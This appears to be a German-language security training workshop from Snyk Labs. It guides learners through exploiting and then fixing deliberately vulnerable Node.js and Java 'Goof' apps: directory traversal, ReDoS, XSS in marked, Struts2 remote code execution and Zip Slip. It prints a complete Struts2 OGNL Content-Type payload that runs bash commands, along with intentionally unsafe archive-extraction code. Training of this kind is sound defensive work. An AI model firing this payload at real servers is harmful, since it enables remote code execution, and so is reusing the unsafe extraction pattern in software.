snyk-labs/exploit-workshopEin Schritt-für-Schritt-Workshop zur Ausnutzung verschiedener Schwachstellen in Node.js- und Java-Anwendungen
In diesem Schritt-für-Schritt-Workshop lernen Sie, wie Sie verschiedene reale Schwachstellen ausnutzen können, die in anfälligen Versionen von Paketen in einer Node.js- und Java-Anwendung existieren.
Sie können diesen Workshop auf zwei verschiedene Arten durchführen:
ODER
Dieser Workshop führt Sie durch die Installation und das Ausnutzen einer Reihe von absichtlich anfälligen Anwendungen. Die Anwendungen verwenden reale Pakete mit bekannten Schwachstellen, darunter:
Diese Exploits existieren in einer Reihe von Anwendungen, von denen Sie die meisten entweder lokal oder auf einer Cloud-Instanz installieren müssen. Die folgenden Anleitungen führen Sie durch die lokalen Installationen, aber Sie können sie gerne auch auf entfernten Cloud-Instanzen ausprobieren.
Für jeden Schwachstellenabschnitt in diesem Workshop erhalten Sie Informationen über die Schwachstelle sowie über das Paket, in dem sie existiert. Sie werden ermutigt, zuerst durch Versuch und Irrtum zu versuchen, die Anwendung zu hacken, ohne irgendwelche Hinweise zu lesen. Versuchen Sie, darüber nachzudenken, wie Sie die Bereinigung der Anwendung austricksen können, und versetzen Sie sich in die Gedankenwelt eines Hackers. Die Hinweise sind für den Fall da, dass Sie nicht weiterkommen. Lesen Sie sie also der Reihe nach, wenn Sie Hilfe benötigen. Wenn Sie den Hack ohne Hinweise schaffen, ist das großartig! Es kann jedoch gut sein, die Hinweise hinterher zu lesen, um sicherzustellen, dass Sie auf die gleiche Weise eingebrochen sind wie wir! Außerdem können darin kleine Tipps enthalten sein, von denen man ebenfalls lernen kann.
Je nach Ihrer Wahl wählen Sie das passende Installationshandbuch aus:
Navigieren Sie in Ihrem bevorzugten Browser zu http://localhost:3001. Sie sollten die folgende Seite sehen.
Nehmen Sie sich ein paar Minuten Zeit, um die Seite zu erkunden. Erstellen Sie insbesondere ein paar Todo-Einträge, indem Sie normalen Text wie "Milch kaufen" sowie Markdown wie "Kaufe **viel** Milch" verwenden. Navigieren Sie auch zur sehr bescheidenen Über-Seite, die vom unteren Ende der Startseite verlinkt ist. Erfreuen Sie sich an dem CSS-Foo, das verwendet wurde, um diese Über-Seite zu erstellen. Hinweis: PRs, die diese Seite hübscher machen, werden nicht gemergt ;o)
Betrachten wir es zuerst aus der blauen (defensiven) Perspektive. Forken Sie die Goof-Anwendung in Ihr eigenes GitHub-Konto. Die Anwendung finden Sie auf GitHub hier: https://github.com/snyk/goof. Wir müssen unsere Anwendung scannen, um die direkten und indirekten Abhängigkeiten sowie die Schwachstellen in jeder Bibliothek zu verstehen. Navigieren Sie dazu zu https://snyk.io und klicken Sie oben rechts auf der Seite auf "Anmelden" oder "Einloggen" (falls Sie bereits ein Benutzer sind):
Klicken Sie auf die Schaltfläche "Mit Ihrem GitHub-Konto anmelden":
Importieren Sie als nächstes das Goof-Projekt, das Sie gerade geklont haben. Wählen Sie goof aus Ihrer GitHub-Repo-Liste und klicken Sie oben rechts im Fenster auf die Schaltfläche "Projekte importieren".
Wenn das Projekt gescannt wurde, sehen Sie es in Ihrem Dashboard:
Klicken Sie auf den Link package.json, um die Projektseite aufzurufen, die die vollständige Liste der Sicherheitslücken enthält:
Sie können auf die Registerkarten "Probleme" und "Abhängigkeiten" klicken, um weitere Informationen zu den Schwachstellen und deren Behebung sowie zu den Stellen zu erhalten, an denen sie von Ihrer Anwendung eingeführt werden. Sie werden gegen Ende der Auflistung der Schwachstellen eine Directory-Traversal-Schwachstelle im st-Paket bemerken. Schauen wir uns das genauer an.
Ein Directory-Traversal-Angriff (auch Pfad-Traversal genannt) zielt darauf ab, auf Dateien und Verzeichnisse zuzugreifen, die außerhalb des vorgesehenen Ordners gespeichert sind. Durch Manipulation von Dateien mit "Punkt-Punkt-Schrägstrich" (../)-Sequenzen und deren Variationen oder durch Verwendung absoluter Dateipfade ist es möglicherweise möglich, auf beliebige Dateien und Verzeichnisse auf dem Dateisystem zuzugreifen, darunter Anwendungsquellcode, Konfiguration und andere kritische Systemdateien.
Directory-Traversal-Schwachstellen können im Allgemeinen in zwei Typen unterteilt werden:
Das Paket in der Goof-Anwendung, das eine Directory-Traversal-Schwachstelle enthält, die wir ausnutzen werden, ist das st-Paket. Schauen Sie sich die st-Dokumentation an und machen Sie sich mit der Bibliothek vertraut.
Sie sollten jetzt wissen, was Directory Traversal ist, was das st-Paket tut, und können loslegen und die Anwendung hacken – Sie sind wieder im roten Team! Suchen Sie in der Anwendung nach der Stelle, an der das st-Paket verwendet werden könnte, und versuchen Sie, in ein Verzeichnis zu navigieren, auf das Sie keinen Zugriff haben sollten.
Hier sind einige Hinweise, die Ihnen Hinweise geben, falls Sie nicht weiterkommen – versuchen Sie Ihr Bestes, sie nur anzuschauen, nachdem Sie es bereits selbst versucht haben und Hilfe benötigen.
Klicken Sie, um Hinweis 1 zu sehen.
Klicken Sie, um Hinweis 2 zu sehen.
Klicken Sie, um Hinweis 3 zu sehen.
Klicken Sie, um Hinweis 4 zu sehen.
Klicken Sie, um Hinweis 5 zu sehen.
Klicken Sie, um Hinweis 6 zu sehen.
Klicken Sie, um Hinweis 7 zu sehen.
Klicken Sie, um Hinweis 8 zu sehen.
Klicken Sie, um Hinweis 9 zu sehen.
Navigieren Sie durch Ihr Dateisystem, als wären Sie ein Angreifer, um 3 sensible Informationen auf Ihrem Rechner zu finden, die Sie vielleicht nicht sehen möchten.
Klicken Sie, um Hinweis 10 zu sehen.
Schauen Sie sich die Beschreibung der Schwachstelle an, einschließlich des CVSS-Scores: https://snyk.io/vuln/npm:st:20140206. Warum ist die Schwachstelle Ihrer Meinung nach mittlerer Schwere und nicht hoch?
Zurück auf der Snyk-Projektseite: Finden Sie die Directory-Traversal-Schwachstelle im st-Paket und schauen Sie sich den Behebungsvorschlag an. Sie werden sehen, dass es nur einen einzigen Pfad zu dieser Schwachstelle in der Anwendung gibt und dass das st-Paket eine direkte Abhängigkeit ist, sodass die Behebung nicht allzu schwierig sein sollte. Wir können sehen, dass wir die Version des st-Pakets auf 0.2.5 aktualisieren müssen. Wir können dies automatisch tun, indem wir auf die Schaltfläche "Diese Schwachstelle beheben" klicken.
Sie sehen eine Liste Ihrer Schwachstellen, und nur die st-Schwachstelle sollte ausgewählt sein. Blättern Sie zum unteren Ende der Seite und klicken Sie auf "Fix-PR öffnen":
Schauen Sie sich die Codeänderungen im Pull Request unter dem Tab "Geänderte Dateien" an:
Stellen Sie sicher, dass Ihre neuen PR-Tests keine neuen Sicherheits- oder Lizenzprobleme einführen und bestanden haben. Diese finden Sie im Tab "Unterhaltung" des PR:
Wenn Sie mit dem PR zufrieden sind, mergen Sie die Änderungen.
Wenn Sie die Anwendung lokal ausführen, stoppen Sie sie mit Strg+C in dem Fenster, in dem Sie npm start ausgeführt haben. Holen Sie sich den neuesten Code von GitHub mit git fetch. Laden Sie die neue Version von st herunter mit npm install und starten Sie dann Ihre Anwendung erneut mit npm start.
Versuchen Sie Ihre Hacks erneut. Herzlichen Glückwunsch! Sie haben die Schwachstelle behoben und sollten nun jedes Mal zur Startseite weitergeleitet werden, wenn Sie versuchen, den öffentlichen Ordner zu verlassen.
Schauen Sie sich die Beschreibung einer ReDoS-Schwachstelle in Ihrem Snyk-Scan an:
Diese Schwachstelle im ms-Paket werden wir in der Goof-Anwendung ausnutzen. Verwenden Sie den folgenden Befehl, um einen Todo-Eintrag hinzuzufügen, der eine Zeichenkette enthält, die eine Zeit darstellt:``` $ echo 'content=Call mom in 20 minutes' | http --form http://localhost:3001/create -v
Die ms-Bibliothek hat ein Zeitmuster in Ihrer Inhaltseingabezeichenfolge erkannt. Dies wird auf der goof-Webseite etwas anders dargestellt.
Nutzen Sie Ihr Wissen darüber, wie ReDoS funktioniert, und versuchen Sie, eine Inhaltszeichenfolge zu übergeben, die eine spürbare Verzögerung oder einen Denial-of-Service für andere Benutzer verursacht. Beachten Sie, dass die Webseite während der Verarbeitung der Anfrage Ihre weiteren Anfragen puffert, bis Ihre erste Anfrage bearbeitet ist.
Klicken Sie auf [Hinweis 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint1.md).
Klicken Sie auf [Hinweis 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint2.md).
Klicken Sie auf [Hinweis 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint3.md).
Klicken Sie auf [Hinweis 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint4.md).
Klicken Sie auf [Hinweis 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/ms/hint5.md).
Überlegen Sie, wie Sie diesen Angriff in Ihrem Anwendungscode programmatisch vermeiden könnten.
### Beheben der Schwachstelle
Gehen Sie zurück zur Snyk-Projektseite, suchen Sie die ReDoS-Schwachstelle im ```ms```-Paket und sehen Sie sich die Behebungsempfehlungen an. Sie werden sehen, dass es nur einen einzigen Pfad zu dieser Schwachstelle in der Anwendung gibt und das ```ms```-Paket eine indirekte Abhängigkeit ist, die durch das ```humanize-ms```-Paket hereingezogen wird. Wir können sehen, dass wir die ```humanize-ms```-Version auf ```1.0.2``` aktualisieren müssen. Dadurch wird das ```ms```-Paket in einer gefixten Version hereingezogen. Klicken Sie erneut auf „Fix this Vulnerability“ und erstellen Sie einen PR.
Nachdem Sie Ihre Anwendung aktualisiert haben, versuchen Sie Ihre Hacks erneut. *Glückwunsch!* Sie haben die Schwachstelle behoben!
## Cross Site Scripting (XSS)
XSS-Angriffe treten auf, wenn ein Angreifer den Browser eines Opfers dazu bringt, bösartigen JavaScript-Code im Kontext der Domain des Opfers auszuführen. Solche Skripte können die Session-Cookies des Benutzers für die Domain stehlen, deren Inhalt auslesen oder verändern und Aktionen im Namen des Benutzers durchführen oder verändern – Aktionen, die normalerweise durch die Same-Origin-Policy des Browsers blockiert werden.
Diese Angriffe sind möglich, indem der Kontext der Webanwendung verlassen und bösartige Skripte in eine ansonsten vertrauenswürdige Website eingeschleust werden. Diese Skripte können zusätzliche Attribute einführen (z. B. eine „neue“ Option in einer Dropdown-Liste oder einen neuen Link zu einer bösartigen Seite) und potenziell Code auf Client-Seite ausführen, ohne dass das Opfer davon weiß. Dies geschieht, wenn Zeichen wie ```< > " '``` nicht korrekt maskiert werden.
Es gibt verschiedene Arten von XSS:
* *Persistentes XSS* ist ein Angriff, bei dem der bösartige Code in der Datenbank der Webanwendung persistiert.
* *Reflektiertes XSS* ist ein Angriff, bei dem die Website einen Teil der Anfrage zurückspiegelt. Der Angreifer muss das Opfer dazu verleiten, auf einen bösartigen Link zu klicken (z. B. durch eine Phishing-E-Mail oder bösartiges JS auf einer anderen Seite), was den XSS-Angriff auslöst.
* *DOM-basiertes XSS* ist ein Angriff, der ausschließlich im Browser stattfindet, wenn clientseitiges JavaScript einen Teil der URL auf die Seite zurückspiegelt. DOM-basiertes XSS ist bekanntermaßen schwer zu erkennen, da der Server nie eine Chance hat, den Angriff zu sehen.
Die Schwachstelle existiert in der marked-Bibliothek. Diese Bibliothek ermöglicht es uns, Markdown-Text in das Todo-Eingabefeld einzugeben, und der resultierende Text wird dann fett oder wie auch immer wir es wünschen, angezeigt. Da Sie nun mit dieser komplexen, mehrseitigen Anwendung mehr als vertraut sind, behalten Sie das Paket im Hinterkopf, das verwundbar ist.
Um anzufangen, versuchen wir, den Alert ‘1’ anzuzeigen. Sehr klischeehaft, oder?
Klicken Sie auf [Hinweis 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint1.md).
Klicken Sie auf [Hinweis 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint2.md).
Klicken Sie auf [Hinweis 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint3.md).
Klicken Sie auf [Hinweis 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint4.md).
Klicken Sie auf [Hinweis 5](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint5.md).
Klicken Sie auf [Hinweis 6](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint6.md).
Klicken Sie auf [Hinweis 7](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint7.md).
Klicken Sie auf [Hinweis 8](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/marked/hint8.md).
Sobald Sie in der Lage waren, etwas JavaScript auszuführen, das einen Alert erzeugt, wie unten gezeigt. Sie können etwas Schwierigeres versuchen, um vielleicht sensible Informationen zu erlangen!
### Beheben der Schwachstelle
Gehen Sie zurück zur Snyk-Projektseite, suchen Sie die XSS-Schwachstelle im ```marked```-Paket und sehen Sie sich die Behebungsempfehlungen an. Sie werden sehen, dass es nur einen einzigen Pfad zu dieser Schwachstelle in der Anwendung gibt und das ```marked```-Paket eine direkte Abhängigkeit ist. Wir können sehen, dass wir ```marked``` auf die Version ```0.3.9``` aktualisieren müssen. Klicken Sie erneut auf „Fix this Vulnerability“ und erstellen Sie einen PR.
Nachdem Sie Ihre Anwendung aktualisiert haben, versuchen Sie Ihre Hacks erneut. Glückwunsch, Sie haben die XSS-Schwachstelle behoben und sollten nun kein JavaScript mehr auf der Webseite einbetten können.
# Java Goof Installation
Je nach Ihrer früheren Wahl wählen Sie die passende Installationsanleitung aus
* mittels [Docker-Images](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_docker.md)
* Installation auf [Lokalem Rechner](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/install/javagoof_local.md)
Navigieren Sie in Ihrem Browser zur folgenden URL: [http://localhost:8080/](http://localhost:8080/)
Sie werden diese Anwendung sehen. Sie sieht besser aus als die Node-Anwendung. Weil Java besser ist als Node. Fakt.
Klicken Sie auf „Sign In“ und verwenden Sie die folgenden Anmeldedaten:```
Username: [email protected]
Password: foobar
Nach dem Einloggen sehen Sie eine Reihe von Todo-Einträgen. Wenn Sie oben auf dem Bildschirm herumklicken, werden Sie sehen, dass die Anwendung Spring, Hibernate und Apache Struts verwendet. Es ist sehr nett von der Anwendung, uns diese Daten zu geben! Webseiten sind normalerweise nicht so nett :)
Zurück beim blauen (defensiven) Team. Wir müssen unsere Anwendung scannen, um die direkten und indirekten Abhängigkeiten in der Anwendung zu verstehen, sowie die Schwachstellen in jeder Bibliothek. Forken Sie Java Goof in Ihr eigenes GitHub-Konto. Die Anwendung finden Sie auf GitHub hier: https://github.com/snyk/java-goof
Wenn Sie bereits ein Snyk-Konto aus einem früheren Teil des Workshops haben, müssen Sie lediglich das Java Goof-Repository zum Snyk-Dashboard hinzufügen. Falls Sie noch kein Konto haben, erstellen Sie es wie folgt:
Navigieren Sie zu https://snyk.io, falls Sie dies noch nicht getan haben, und klicken Sie oben rechts auf der Seite auf "Log in" oder "Sign up".
Klicken Sie auf die Schaltfläche "Log in with your GitHub":
Importieren Sie das Goof-Projekt, das Sie zuvor geklont haben. Klicken Sie auf den unten gezeigten Link "Integrations":
Wählen Sie hier die GitHub-Integration aus und wählen Sie java-goof aus Ihrer GitHub-Repo-Liste und klicken Sie oben rechts im Fenster auf die Schaltfläche "Add selected repositories".
Wenn das Projekt gescannt wurde, sehen Sie es in Ihrem Dashboard:
Klicken Sie auf den Link todolist-web-struts/pom.xml, um die vollständige Liste der Sicherheitslücken für diesen Teil des Projekts zu sehen:
Die Schwachstelle existiert im Paket org.apache.struts:struts2-core.
Betroffene Versionen des Pakets sind anfällig für die willkürliche Ausführung von Befehlen beim Hochladen von Dateien mit dem Jakarta Multipart Parser. Diese spezielle Schwachstelle kann von einem Angreifer ausgenutzt werden, indem er eine manipulierte Anfrage zum Hochladen einer Datei an den anfälligen Server sendet, der ein Jakarta-basiertes Plugin zur Verarbeitung der Upload-Anfrage verwendet.
Der Angreifer kann dann bösartigen Code in den HTTP-Headern Content-Type, Content-Disposition oder Content-Length senden, der dann vom anfälligen Server ausgeführt wird. Ein Proof of Concept, der das Angriffsszenario demonstriert, ist öffentlich verfügbar und die Schwachstelle wird aktiv in freier Wildbahn ausgenutzt.
Obwohl die Betreuer des Open-Source-Projekts die Schwachstelle sofort gepatcht haben, bleiben Struts-Server, die das Update noch nicht installiert haben, Angriffen von Hackern ausgesetzt, die sie ausnutzen, um beliebige Befehle einzuschleusen.
Dieser Angriff kann ohne Authentifizierung durchgeführt werden. Erschwerend kommt hinzu, dass Webanwendungen nicht unbedingt eine schädliche Datei erfolgreich hochladen müssen, um diese Schwachstelle auszunutzen, da bereits das Vorhandensein der anfälligen Struts-Bibliothek in einer Anwendung ausreicht, um die Schwachstelle auszunutzen.
Hier ist ein Beispiel-Header, der die Schwachstelle ausnutzen kann. Beachten Sie, dass der Content-Type mit %{ beginnt.```
"Content-type: %{(#_='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='COMMAND').(#cmds={'/bin/bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"
Ihnen fällt auf, dass ein ```ProcessBuilder``` erstellt wird und als Ergebnis ein Befehl in der Bash ausgeführt wird.
Hacken Sie die Anwendung, indem Sie eine HTTP-GET-Anfrage an die Anwendung stellen und diesen Header in der Anfrage senden.
Klicken Sie, um [Hinweis 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint1.md) zu sehen.
Klicken Sie, um [Hinweis 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/struts/hint2.md) zu sehen.
Sie sollten inzwischen einen entfernten Befehl ausgeführt haben, wie diesen env-Befehl, um die Umgebungsvariablen Ihrer Maschine abzurufen:
In diesem Zustand haben Sie nun Ausführungsrechte auf der Maschine, indem Sie eine URL mit curl aufrufen. Führen Sie weitere Befehle aus, um zu sehen, was Sie über die Maschine erfahren können, und führen Sie diese auf der Maschine aus.
# Zip Slip
Erstellen Sie ein neues Maven-Projekt in Ihrer bevorzugten IDE. Ich werde Sie nicht verurteilen. Fügen Sie eine neue Abhängigkeit in Ihrer ```pom.xml```-Datei hinzu.```xml
<dependency>
<groupId>org.zeroturnaround</groupId>
<artifactId>zt-zip</artifactId>
<version>1.12</version>
<type>jar</type>
</dependency>
In diesem Repository findest du ein zip-slip.zip Archiv. Lade es herunter und führe den folgenden Befehl auf dem Archiv aus, um die Ausgabe zu sehen. Ich erwarte, dass du verstehst, wie dieser Hack funktioniert, sobald du die Ausgabe siehst.``` $ jar -tvf zip-slip.zip
## Die Zip-Slip-Schwachstelle
Zip Slip ist eine Form von Directory-Traversal, die durch Extrahieren von Dateien aus einem Archiv ausgenutzt werden kann. Das Prinzip der Directory-Traversal-Schwachstelle besteht darin, dass ein Angreifer auf Teile des Dateisystems außerhalb des Zielordners zugreifen kann, in dem die Dateien eigentlich liegen sollten. Der Angreifer kann dann ausführbare Dateien überschreiben und sie entweder remote aufrufen oder darauf warten, dass das System oder der Benutzer sie aufruft, und so eine Remote-Codeausführung auf dem Rechner des Opfers erreichen. Die Schwachstelle kann auch Schaden anrichten, indem sie Konfigurationsdateien oder andere sensible Ressourcen überschreibt, und kann sowohl auf Client- (Benutzer-) als auch auf Servern ausgenutzt werden.
Die beiden erforderlichen Teile zur Ausnutzung dieser Schwachstelle sind ein bösartiges Archiv und ein Extraktionscode, der keine Validierungsprüfung durchführt. Betrachten wir jeden dieser Teile der Reihe nach. Zunächst muss der Inhalt der Zip-Datei eine oder mehrere Dateien enthalten, die beim Extrahieren aus dem Zielverzeichnis ausbrechen. Im Beispiel ```zip-slip.zip``` sehen wir zwei Dateien: eine Datei good.txt, die in das Zielverzeichnis extrahiert würde, und eine Datei evil.txt, die versucht, im Verzeichnisbaum nach oben in das tmp-Verzeichnis zu gelangen. Sie werden feststellen, dass viele Ebenen von ```../``` vorhanden sind, sodass die Datei eine bessere Chance hat, das Stammverzeichnis zu erreichen, bevor sie versucht, vom Stammverzeichnis in das Verzeichnis ```/tmp``` zu gelangen.
Verwenden Sie das Entpackungsprogramm von ```zt-zip``` in ```ZipUtil```, um die Datei zu extrahieren, und beachten Sie, wo ```good.txt``` und ```evil.txt``` in Ihrem Dateisystem erscheinen.
Klicken Sie, um [Hinweis 1](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint1.md) zu sehen.
Klicken Sie, um [Hinweis 2](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint2.md) zu sehen.
Sobald Sie die Datei evil.txt in Ihr tmp-Verzeichnis entpackt haben, werfen Sie einen Blick auf die Informationen zur Schwachstelle ([https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681](https://snyk.io/vuln/SNYK-JAVA-ORGZEROTURNAROUND-31681)).
### Beheben Sie die Schwachstelle!
Klicken Sie, um [Hinweis 3](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint3.md) zu sehen.
Klicken Sie, um [Hinweis 4](https://github.com/snyk-labs/exploit-workshop/blob/HEAD/zipslip/hint4.md) zu sehen.
Nachdem Sie die Schwachstelle in Ihrer ```zt-zip```-Abhängigkeit behoben haben, sehen wir uns nun den Code an, der in Java verwendet werden kann, um dies zu tun. Beachten Sie, dass wir in diesem Beispiel die Bibliothek Apache Commons IO verwendet haben, um den Dateikopie in Zeile 8 durchzuführen.```java
1. final String destinationDir = /* <your destination dir> */;
2. ZipFile zip = new ZipFile(/* <your zip file> */);
3. Enumeration<ZipEntry> entries = (Enumeration<ZipEntry>) zip.entries();
4. while (entries.hasMoreElements()) {
5. ZipEntry e = entries.nextElement();
6. File f = new File(destinationDir, e.getName());
7. InputStream input = zip.getInputStream(e);
8. FileUtils.copyToFile(input, f);
9. }
Wechseln wir nun unseren vorherigen ZipUtil.unpack-Aufruf mit diesem Code aus. Löschen Sie die Dateien good.txt und evil.txt von Ihrem Dateisystem und führen Sie die Anwendung erneut aus. Sie werden feststellen, dass die Datei evil.txt erneut das Verzeichnis /tmp erreicht.
Identifizieren Sie, welche Codezeilen oben die Übeltäter sind, und beheben Sie sie!
Klicken Sie, um Hinweis 5 zu sehen.
Klicken Sie, um Hinweis 6 zu sehen.
Klicken Sie, um Hinweis 7 zu sehen.
Klicken Sie, um Hinweis 8 zu sehen.
Klicken Sie, um Hinweis 9 zu sehen.
Sobald Sie Ihre Lösung defensiv codiert haben, sehen Sie sich unser endgültiges Codebeispiel in Hinweis 9 an, um zu sehen, wie es im Vergleich zu Ihrer Version abschneidet. Haben Sie den abschließenden Dateitrenner in line 9 eingefügt? Dadurch wird sichergestellt, dass das Verzeichnis nicht nur mit dem von uns gewählten Verzeichnisnamen beginnt, sondern dass es das Verzeichnis ist, in das wir die Dateien extrahieren möchten.
Vielen Dank, dass Sie an diesem Workshop teilgenommen haben. Wenn Sie Tippfehler bemerken oder zusätzliche Hinweise vorschlagen möchten, senden Sie uns bitte einen PR!